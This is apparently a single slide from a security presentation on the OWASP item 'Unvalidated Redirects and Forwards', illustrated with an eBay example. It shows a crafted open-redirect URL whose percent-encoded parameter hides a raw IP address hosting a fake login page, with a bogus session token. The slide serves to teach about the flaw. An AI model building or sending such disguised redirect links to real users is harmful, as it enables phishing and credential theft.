  • 30. A10-Unvalidated Redirects and Forwards on eBay  How this attacks to eBay http://cgi4.ebay.com/ws/eBayISAPI.dll?MfcISAPIC ommand=RedirectToDomain&DomainUrl=http%3A %2F%2F%32%31%31%2E%31%37%32%2E%39%36 %2E%37%2FUpdateCenter%2FLogin%2F%3FMfcIS APISession%3DAAJbaQqzeHAAeMWZlHhlWXS2Al BXVShqAhQRfhgTDrferHCURstpAisNRqAhQRfhgT DrferHCURstpAisNRpAisNRqAhQRfhgTDrferHCU QRfqzeHAAeMWZlHhlWXh